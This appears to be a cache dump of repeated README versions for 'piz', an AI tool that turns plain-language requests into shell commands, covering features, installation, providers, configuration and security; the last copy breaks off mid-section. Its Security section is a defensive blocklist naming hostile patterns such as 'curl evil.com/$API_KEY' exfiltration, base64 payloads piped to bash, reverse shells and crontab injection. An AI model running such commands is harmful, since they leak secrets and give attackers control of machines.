chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell)\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (174)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[![Star History Chart](https://api.star-history.com/svg?repos=AriesOxO/piz&type=Date)](https://star-history.com/#AriesOxO/piz&Date)\n"}, "85cd8c8b84cc7cfae299e042c9f75e9ffafb3eef": {"t": 1785760773.8779683, "n": 17074, "h": "8f914f9baffa1bd9", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries or `.msi` (Windows) from [Releases](https://github.com/AriesOxO/piz/releases). Linux binaries are statically linked (musl), compatible with any Linux distribution.\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 (static musl) | `.tar.gz` |\n| Linux ARM64 (static musl) | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\nInvoke-Expression (piz init powershell | Out-String)\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Update\n\n### Self-update\n\n```bash\npiz update # Interactive: check latest version and upgrade\n```\n\n`piz update` checks GitHub Releases for the latest version. If a new version is available, you can choose between two upgrade methods:\n\n1. **Overwrite install** — replace the current binary in-place\n2. **Uninstall then reinstall** — remove old version first, then install new\n\nBoth methods include automatic rollback on failure.\n\n### Automatic update check\n\npiz checks for updates **automatically in the background** after each run (at most once every 24 hours, with a 5-second timeout so it never blocks). When a newer version is detected, a hint is shown:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\nNo manual configuration is needed — this works out of the box. The check state is stored in `~/.piz/update_state.json`.\n\n### Manual install (specific version)\n\nIf you want to install a specific version, download the binary directly from [GitHub Releases](https://github.com/AriesOxO/piz/releases):\n\n```bash\n# Linux/macOS — replace VERSION and TARGET as needed\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\nOr reinstall via the install script:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell)\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (174)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[![Star History Chart](https://api.star-history.com/svg?repos=AriesOxO/piz&type=Date)](https://star-history.com/#AriesOxO/piz&Date)\n"}, "ce6bd9bbb3e8d8f4820086c69c763dae5ba80869": {"t": 1785760776.1556375, "n": 16992, "h": "57bcde8e73bb8c09", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\nInvoke-Expression (piz init powershell | Out-String)\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Update\n\n### Self-update\n\n```bash\npiz update # Interactive: check latest version and upgrade\n```\n\n`piz update` checks GitHub Releases for the latest version. If a new version is available, you can choose between two upgrade methods:\n\n1. **Overwrite install** — replace the current binary in-place\n2. **Uninstall then reinstall** — remove old version first, then install new\n\nBoth methods include automatic rollback on failure.\n\n### Automatic update check\n\npiz checks for updates **automatically in the background** after each run (at most once every 24 hours, with a 5-second timeout so it never blocks). When a newer version is detected, a hint is shown:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\nNo manual configuration is needed — this works out of the box. The check state is stored in `~/.piz/update_state.json`.\n\n### Manual install (specific version)\n\nIf you want to install a specific version, download the binary directly from [GitHub Releases](https://github.com/AriesOxO/piz/releases):\n\n```bash\n# Linux/macOS — replace VERSION and TARGET as needed\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\nOr reinstall via the install script:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection 